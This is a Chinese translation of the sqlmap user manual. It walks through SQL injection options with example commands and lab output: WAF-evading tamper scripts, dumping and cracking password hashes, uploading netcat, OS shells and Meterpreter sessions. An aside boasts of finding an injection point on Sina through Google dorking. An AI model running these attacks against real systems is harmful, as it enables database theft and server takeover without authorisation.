sqlmap使用者手冊

wyzsk發表於2020-08-19
作者: 瞌睡龍 · 2013/06/13 18:45

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

當給sqlmap這麼一個url的時候,它會:

1、判斷可注入的引數

2、判斷可以用那種SQL隱碼攻擊技術來注入

3、識別出哪種資料庫

4、根據使用者選擇,讀取哪些資料

sqlmap支援五種不同的注入模式:

1、基於布林的盲注,即可以根據返回頁面判斷條件真假的注入。

2、基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。

3、基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。

4、聯合查詢注入,可以使用union的情況下的注入。

5、堆查詢注入,可以同時執行多條語句的執行時的注入。

sqlmap支援的資料庫有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

可以提供一個簡單的URL,Burp或WebScarab請求日誌檔案,文字文件中的完整http請求或者Google的搜尋,匹配出結果頁面,也可以自己定義一個正則來判斷那個地址去測試。

測試GET引數,POST引數,HTTP Cookie引數,HTTP User-Agent頭和HTTP Referer頭來確認是否有SQL隱碼攻擊,它也可以指定用逗號分隔的列表的具體引數來測試。

可以設定HTTP(S)請求的併發數,來提高盲注時的效率。

Youtube上有人做的使用sqlmap的影片:

http://www.youtube.com/user/inquisb/videos

http://www.youtube.com/user/stamparm/videos

使用sqlmap的例項文章:

http://unconciousmind.blogspot.com/search/label/sqlmap

可以點選https://github.com/sqlmapproject/sqlmap/tarball/master下載最新版本sqlmap。

也可以使用git來獲取sqlmap

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

之後可以直接使用命令來更新

python sqlmap.py --update

或者

git pull

更新sqlmap

如果你想觀察sqlmap對一個點是進行了怎樣的嘗試判斷以及讀取資料的,可以使用-v引數。

共有七個等級,預設為1:

0、只顯示python錯誤以及嚴重的資訊。

1、同時顯示基本資訊和警告資訊。(預設)

2、同時顯示debug資訊。

3、同時顯示注入的payload。

4、同時顯示HTTP請求。

5、同時顯示HTTP響應頭。

6、同時顯示HTTP響應頁面。

如果你想看到sqlmap傳送的測試payload最好的等級就是3。

獲取目標方式


目標URL

引數:-u或者--url

格式:http(s)://targeturl[:port]/[…]

例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

從Burp或者WebScarab代理中獲取日誌

引數:-l

可以直接吧Burp proxy或者WebScarab proxy中的日誌直接倒出來交給sqlmap來一個一個檢測是否有注入。

從文字中獲取多個目標掃描

引數:-m

檔案中儲存url格式如下,sqlmap會一個一個檢測

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

從檔案中載入HTTP請求

引數:-r

sqlmap可以從一個文字檔案中獲取HTTP請求,這樣就可以跳過設定一些其他引數(比如cookie,POST資料,等等)。

比如文字檔案內如下:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

當請求是HTTPS的時候你需要配合這個--force-ssl引數來使用,或者你可以在Host頭後面加上:443

處理Google的搜尋結果

引數:-g

sqlmap可以測試注入Google的搜尋結果中的GET引數(只獲取前100個結果)。

例子:

python sqlmap.py -g "inurl:\".php?id=1\""

(很牛B的功能,測試了一下,第十幾個就找到新浪的一個注入點)

此外可以使用-c引數載入sqlmap.conf檔案裡面的相關配置。

請求


http資料

引數:--data

此引數是把資料以POST方式提交,sqlmap會像檢測GET引數一樣檢測POST的引數。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

引數拆分字元

引數:--param-del

當GET或POST的資料需要用其他字元分割測試引數的時候需要用到此引數。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

HTTP cookie頭

引數:--cookie,--load-cookies,--drop-set-cookie

這個引數在以下兩個方面很有用:

1、web應用需要登陸的時候。

2、你想要在這些頭引數中測試SQL隱碼攻擊時。

可以透過抓包把cookie獲取到,複製出來,然後加到--cookie引數裡。

在HTTP請求中,遇到Set-Cookie的話,sqlmap會自動獲取並且在以後的請求中加入,並且會嘗試SQL隱碼攻擊。

如果你不想接受Set-Cookie可以使用--drop-set-cookie引數來拒接。

當你使用--cookie引數時,當返回一個Set-Cookie頭的時候,sqlmap會詢問你用哪個cookie來繼續接下來的請求。當--level的引數設定為2或者2以上的時候,sqlmap會嘗試注入Cookie引數。

HTTP User-Agent頭

引數:--user-agent,--random-agent

預設情況下sqlmap的HTTP請求頭中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用--user-anget引數來修改,同時也可以使用--random-agnet引數來隨機的從./txt/user-agents.txt中獲取。

當--level引數設定為3或者3以上的時候,會嘗試對User-Angent進行注入。

HTTP Referer頭

引數:--referer

sqlmap可以在請求中偽造HTTP中的referer,當--level引數設定為3或者3以上的時候會嘗試對referer注入。

額外的HTTP頭

引數:--headers

可以透過--headers引數來增加額外的http頭

HTTP認證保護

引數:--auth-type,--auth-cred

這些引數可以用來登陸HTTP的認證保護支援三種方式:

1、Basic

2、Digest

3、NTLM

例子:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP協議的證照認證

引數:--auth-cert

當Web伺服器需要客戶端證照進行身份驗證時,需要提供兩個檔案:key_file,cert_file。

key_file是格式為PEM檔案,包含著你的私鑰,cert_file是格式為PEM的連線檔案。

HTTP(S)代理

引數:--proxy,--proxy-cred和--ignore-proxy

使用--proxy代理是格式為:http://url:port。

當HTTP(S)代理需要認證是可以使用--proxy-cred引數:username:password。

--ignore-proxy拒絕使用本地區域網的HTTP(S)代理。

HTTP請求延遲

引數:--delay

可以設定兩個HTTP(S)請求間的延遲,設定為0.5的時候是半秒,預設是沒有延遲的。

設定超時時間

引數:--timeout

可以設定一個HTTP(S)請求超過多久判定為超時,10.5表示10.5秒,預設是30秒。

設定重試超時

引數:--retries

當HTTP(S)超時時,可以設定重新嘗試連線次數,預設是3次。

設定隨機改變的引數值

引數:--randomize

可以設定某一個引數值在每一次請求中隨機的變化,長度和型別會與提供的初始值一樣。

利用正則過濾目標網址

引數:--scope

例如:

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免過多的錯誤請求被遮蔽

引數:--safe-url,--safe-freq

有的web應用程式會在你多次訪問錯誤的請求時遮蔽掉你以後的所有請求,這樣在sqlmap進行探測或者注入的時候可能造成錯誤請求而觸發這個策略,導致以後無法進行。

繞過這個策略有兩種方式:

1、--safe-url:提供一個安全不錯誤的連線,每隔一段時間都會去訪問一下。
2、--safe-freq:提供一個安全不錯誤的連線,每次測試請求之後都會再訪問一邊安全連線。

關掉URL引數值編碼

引數:--skip-urlencode

根據引數位置,他的值預設將會被URL編碼,但是有些時候後端的web伺服器不遵守RFC標準,只接受不經過URL編碼的值,這時候就需要用--skip-urlencode引數。

每次請求時候執行自定義的python程式碼

引數:--eval

在有些時候,需要根據某個引數的變化,而修改另個一引數,才能形成正常的請求,這時可以用--eval引數在每次請求時根據所寫python程式碼做完修改後請求。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的請求就是每次請求時根據id引數值,做一次md5後作為hash引數的值。

注入


測試引數

引數:-p,--skip

sqlmap預設測試所有的GET和POST引數,當--level的值大於等於2的時候也會測試HTTP Cookie頭的值,當大於等於3的時候也會測試User-Agent和HTTP Referer頭的值。但是你可以手動用-p引數設定想要測試的引數。例如: -p "id,user-anget"

當你使用--level的值很大但是有個別引數不想測試的時候可以使用--skip引數。

例如:--skip="user-angent.referer"

在有些時候web伺服器使用了URL重寫,導致無法直接使用sqlmap測試引數,可以在想測試的引數後面加*

例如:

python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

sqlmap將會測試value1的位置是否可注入。

指定資料庫

引數:--dbms

預設情況系sqlmap會自動的探測web應用後端的資料庫是什麼,sqlmap支援的資料庫有:

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定資料庫伺服器系統

引數:--os

預設情況下sqlmap會自動的探測資料庫伺服器系統,支援的系統有:Linux、Windows。

指定無效的大數字

引數:--invalid-bignum

當你想指定一個報錯的數值時,可以使用這個引數,例如預設情況系id=13,sqlmap會變成id=-13來報錯,你可以指定比如id=9999999來報錯。

只定無效的邏輯

引數:--invalid-logical

原因同上,可以指定id=13把原來的id=-13的報錯改成id=13 AND 18=19。

注入payload

引數:--prefix,--suffix

在有些環境中,需要在注入的payload的前面或者後面加一些字元,來保證payload的正常執行。

例如,程式碼中是這樣呼叫資料庫的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; 

這時你就需要--prefix和--suffix引數了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

這樣執行的SQL語句變成:

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1"; 

修改注入的資料

引數:--tamper

sqlmap除了使用CHAR()函式來防止出現單引號之外沒有對注入的資料修改,你可以使用--tamper引數對資料做修改來繞過WAF等裝置。

下面是一個tamper指令碼的格式:

# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
    '''
    Description of your tamper script
    '''
    retVal = payload
    # your code to tamper the original payload
    # return the tampered payload
    return retVal

可以檢視 tamper/ 目錄下的有哪些可用的指令碼

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]

探測


探測等級

引數:--level

共有五個等級,預設為1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根據相應的格式新增自己的payload。

這個引數不僅影響使用哪些payload同時也會影響測試的注入點,GET和POST的資料都會測試,HTTP Cookie在level為2的時候就會測試,HTTP User-Agent/Referer頭在level為3的時候就會測試。

總之在你不確定哪個payload或者引數為注入點的時候,為了保證全面性,建議使用高的level值。

風險等級

引數:--risk

共有四個風險等級,預設是1會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加OR語句的SQL隱碼攻擊測試。

在有些時候,例如在UPDATE的語句中,注入一個OR的測試語句,可能導致更新的整個表,可能造成很大的風險。

測試的語句同樣可以在xml/payloads.xml中找到,你也可以自行新增payload。

頁面比較

引數:--string,--not-string,--regexp,--code

預設情況下sqlmap透過判斷返回頁面的不同來判斷真假,但有時候這會產生誤差,因為有的頁面在每次重新整理的時候都會返回不同的程式碼,比如頁面當中包含一個動態的廣告或者其他內容,這會導致sqlmap的誤判。此時使用者可以提供一個字串或者一段正則匹配,在原始頁面與真條件下的頁面都存在的字串,而錯誤頁面中不存在(使用--string引數新增字串,--regexp新增正則),同時使用者可以提供一段字串在原始頁面與真條件下的頁面都不存在的字串,而錯誤頁面中存在的字串(--not-string新增)。使用者也可以提供真與假條件返回的HTTP狀態碼不一樣來注入,例如,響應200的時候為真,響應401的時候為假,可以新增引數--code=200。

引數:--text-only,--titles

有些時候使用者知道真條件下的返回頁面與假條件下返回頁面是不同位置在哪裡可以使用--text-only(HTTP響應體中不同)--titles(HTML的title標籤中不同)。

注入技術


測試是否是注入

引數:--technique

這個引數可以指定sqlmap使用的探測技術,預設情況下會測試所有的方式。

支援的探測方式如下:

B: Boolean-based blind SQL injection(布林型注入)
E: Error-based SQL injection(報錯型注入)
U: UNION query SQL injection(可聯合查詢注入)
S: Stacked queries SQL injection(可多語句查詢注入)
T: Time-based blind SQL injection(基於時間延遲注入)

設定延遲注入的時間

引數:--time-sec

當使用繼續時間的盲注時,時刻使用--time-sec引數設定延時時間,預設是5秒。

設定UNION查詢欄位數

引數:--union-cols

預設情況下sqlmap測試UNION查詢注入會測試1-10個欄位數,當--level為5的時候他會增加測試到50個欄位數。設定--union-cols的值應該是一段整數,如:12-16,是測試12-16個欄位數。

設定UNION查詢使用的字元

引數:--union-char

預設情況下sqlmap針對UNION查詢的注入會使用NULL字元,但是有些情況下會造成頁面返回失敗,而一個隨機整數是成功的,這是你可以用--union-char只定UNION查詢的字元。

二階SQL隱碼攻擊

引數:--second-order

有些時候注入點輸入的資料看返回結果的時候並不是當前的頁面,而是另外的一個頁面,這時候就需要你指定到哪個頁面獲取響應判斷真假。--second-order後面跟一個判斷頁面的URL地址。

列資料


標誌

引數:-b,--banner

大多數的資料庫系統都有一個函式可以返回資料庫的版本號,通常這個函式是version()或者變數@@version這主要取決與是什麼資料庫。

使用者

引數:-current-user

在大多資料庫中可以獲取到管理資料的使用者。

當前資料庫

引數:--current-db

返還當前連線的資料庫。

當前使用者是否為管理用

引數:--is-dba

判斷當前的使用者是否為管理,是的話會返回True。

列資料庫管理使用者

引數:--users

當前使用者有許可權讀取包含所有使用者的表的許可權時,就可以列出所有管理使用者。

列出並破解資料庫使用者的hash

引數:--passwords

當前使用者有許可權讀取包含使用者密碼的彪的許可權時,sqlmap會現列舉出使用者,然後列出hash,並嘗試破解。

例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

可以看到sqlmap不僅勒出資料庫的使用者跟密碼,同時也識別出是PostgreSQL資料庫,並詢問使用者是否採用字典爆破的方式進行破解,這個爆破已經支援Oracle和Microsoft SQL Server。

也可以提供-U引數來指定爆破哪個使用者的hash。

列出資料庫管理員許可權

引數:--privileges

當前使用者有許可權讀取包含所有使用者的表的許可權時,很可能列舉出每個使用者的許可權,sqlmap將會告訴你哪個是資料庫的超級管理員。也可以用-U引數指定你想看哪個使用者的許可權。

列出資料庫管理員角色

引數:--roles

當前使用者有許可權讀取包含所有使用者的表的許可權時,很可能列舉出每個使用者的角色,也可以用-U引數指定你想看哪個使用者的角色。

僅適用於當前資料庫是Oracle的時候。

列出資料庫系統的資料庫

引數:--dbs

當前使用者有許可權讀取包含所有資料庫列表資訊的表中的時候,即可列出所有的資料庫。

列舉資料庫表

引數:--tables,--exclude-sysdbs,-D

當前使用者有許可權讀取包含所有資料庫表資訊的表中的時候,即可列出一個特定資料的所有表。

如果你不提供-D引數來列指定的一個資料的時候,sqlmap會列出資料庫所有庫的所有表。

--exclude-sysdbs引數是指包含了所有的系統資料庫。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是資料庫名稱。

列舉資料庫表中的欄位

引數:--columns,-C,-T,-D

當前使用者有許可權讀取包含所有資料庫表資訊的表中的時候,即可列出指定資料庫表中的欄位,同時也會列出欄位的資料型別。

如果沒有使用-D引數指定資料庫時,預設會使用當前資料庫。

列舉一個SQLite的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

列舉資料庫系統的架構

引數:--schema,--exclude-sysdbs

使用者可以用此引數獲取資料庫的架構,包含所有的資料庫,表和欄位,以及各自的型別。

加上--exclude-sysdbs引數,將不會獲取資料庫自帶的系統庫內容。

MySQL例子:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

獲取表中資料個數

引數:--count

有時候使用者只想獲取表中的資料個數而不是具體的內容,那麼就可以使用這個引數。

列舉一個Microsoft SQL Server例子:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

獲取整個表的資料

引數:--dump,-C,-T,-D,--start,--stop,--first,--last

如果當前管理員有許可權讀取資料庫其中的一個表的話,那麼就能獲取真個表的所有內容。

使用-D,-T引數指定想要獲取哪個庫的哪個表,不適用-D引數時,預設使用當前庫。

列舉一個Firebird的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

可以獲取指定庫中的所有表的內容,只用-dump跟-D引數(不使用-T與-C引數)。

也可以用-dump跟-C獲取指定的欄位內容。

sqlmap為每個表生成了一個CSV檔案。

如果你只想獲取一段資料,可以使用--start和--stop引數,例如,你只想獲取第一段資料可hi使用--stop 1,如果想獲取第二段與第三段資料,使用引數 --start 1 --stop 3。

也可以用--first與--last引數,獲取第幾個字元到第幾個字元的內容,如果你想獲取欄位中地三個字元到第五個字元的內容,使用--first 3 --last 5,只在盲注的時候使用,因為其他方式可以準確的獲取注入內容,不需要一個字元一個字元的猜解。

獲取所有資料庫表的內容

引數:--dump-all,--exclude-sysdbs

使用--dump-all引數獲取所有資料庫表的內容,可同時加上--exclude-sysdbs只獲取使用者資料庫的表,需要注意在Microsoft SQL Server中master資料庫沒有考慮成為一個系統資料庫,因為有的管理員會把他當初使用者資料庫一樣來使用它。

搜尋欄位,表,資料庫

引數:--search,-C,-T,-D

--search可以用來尋找特定的資料庫名,所有資料庫中的特定表名,所有資料庫表中的特定欄位。

可以在一下三種情況下使用:

-C後跟著用逗號分割的列名,將會在所有資料庫表中搜尋指定的列名。
-T後跟著用逗號分割的表名,將會在所有資料庫中搜尋指定的表名
-D後跟著用逗號分割的庫名,將會在所有資料庫中搜尋指定的庫名。

執行自定義的SQL語句

引數:--sql-query,--sql-shell

sqlmap會自動檢測確定使用哪種SQL隱碼攻擊技術,如何插入檢索語句。

如果是SELECT查詢語句,sqlap將會輸出結果。如果是透過SQL隱碼攻擊執行其他語句,需要測試是否支援多語句執行SQL語句。

列舉一個Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into 
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

爆破


暴力破解表名

引數:--common-tables

當使用--tables無法獲取到資料庫的表時,可以使用此引數。

通常是如下情況:

1、MySQL資料庫版本小於5.0,沒有information_schema表。
2、資料庫是Microssoft Access,系統表MSysObjects是不可讀的(預設)。
3、當前使用者沒有許可權讀取系統中儲存資料結構的表的許可權。

暴力破解的表在txt/common-tables.txt檔案中,你可以自己新增。

列舉一個MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL &lt; 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

暴力破解列名

引數:--common-columns

與暴力破解表名一樣,暴力跑的列名在txt/common-columns.txt中。

使用者自定義函式注入


引數:--udf-inject,--shared-lib

你可以透過編譯MySQL隱碼攻擊你自定義的函式(UDFs)或PostgreSQL在windows中共享庫,DLL,或者Linux/Unix中共享物件,sqlmap將會問你一些問題,上傳到伺服器資料庫自定義函式,然後根據你的選擇執行他們,當你注入完成後,sqlmap將會移除它們。

系統檔案操作


從資料庫伺服器中讀取檔案

引數:--file-read

當資料庫為MySQL,PostgreSQL或Microsoft SQL Server,並且當前使用者有許可權使用特定的函式。讀取的檔案可以是文字也可以是二進位制檔案。

列舉一個Microsoft SQL Server 2005的例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit

把檔案上傳到資料庫伺服器中

引數:--file-write,--file-dest

當資料庫為MySQL,PostgreSQL或Microsoft SQL Server,並且當前使用者有許可權使用特定的函式。上傳的檔案可以是文字也可以是二進位制檔案。

列舉一個MySQL的例子:

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL &gt;= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully 
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 
same size as the local file '/software/nc.exe.packed'

執行任意作業系統命令

引數:--os-cmd,--os-shell

當資料庫為MySQL,PostgreSQL或Microsoft SQL Server,並且當前使用者有許可權使用特定的函式。

在MySQL、PostgreSQL,sqlmap上傳一個二進位制庫,包含使用者自定義的函式,sys_exec()和sys_eval()。

那麼他建立的這兩個函式可以執行系統命令。在Microsoft SQL Server,sqlmap將會使用xp_cmdshell儲存過程,如果被禁(在Microsoft SQL Server 2005及以上版本預設禁制),sqlmap會重新啟用它,如果不存在,會自動建立。

列舉一個PostgreSQL的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
--os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can 
only be deleted manually

用--os-shell引數也可以模擬一個真實的shell,可以輸入你想執行的命令。

當不能執行多語句的時候(比如php或者asp的後端資料庫為MySQL時),仍然可能使用INTO OUTFILE寫進可寫目錄,來建立一個web後門。支援的語言:

1、ASP
2、ASP.NET
3、JSP
4、PHP

Meterpreter配合使用

引數:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path

當資料庫為MySQL,PostgreSQL或Microsoft SQL Server,並且當前使用者有許可權使用特定的函式,可以在資料庫與攻擊者直接建立TCP連線,這個連線可以是一個互動式命令列的Meterpreter會話,sqlmap根據Metasploit生成shellcode,並有四種方式執行它:

1、透過使用者自定義的sys_bineval()函式在記憶體中執行Metasplit的shellcode,支援MySQL和PostgreSQL資料庫,引數:--os-pwn。
2、透過使用者自定義的函式上傳一個獨立的payload執行,MySQL和PostgreSQL的sys_exec()函式,Microsoft SQL Server的xp_cmdshell()函式,引數:--os-pwn。
3、透過SMB攻擊(MS08-068)來執行Metasploit的shellcode,當sqlmap獲取到的許可權足夠高的時候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、透過溢位Microsoft SQL Server 2000和2005的sp_replwritetovarbin儲存過程(MS09-004),在記憶體中執行Metasploit的payload,引數:--os-bof

列舉一個MySQL例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
